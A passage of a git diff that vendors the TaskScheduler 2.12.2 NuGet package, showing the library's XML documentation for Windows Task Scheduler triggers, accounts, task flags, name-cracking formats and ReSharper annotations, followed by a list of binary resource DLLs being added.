on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..89cecf2 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0a3074c Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fea8cbf Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..378ee84 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..206a5b7 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..13adc83 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..753b93c Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ce6a4ed Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8e53594 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0373007 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ffb7343 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..724ad89 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- 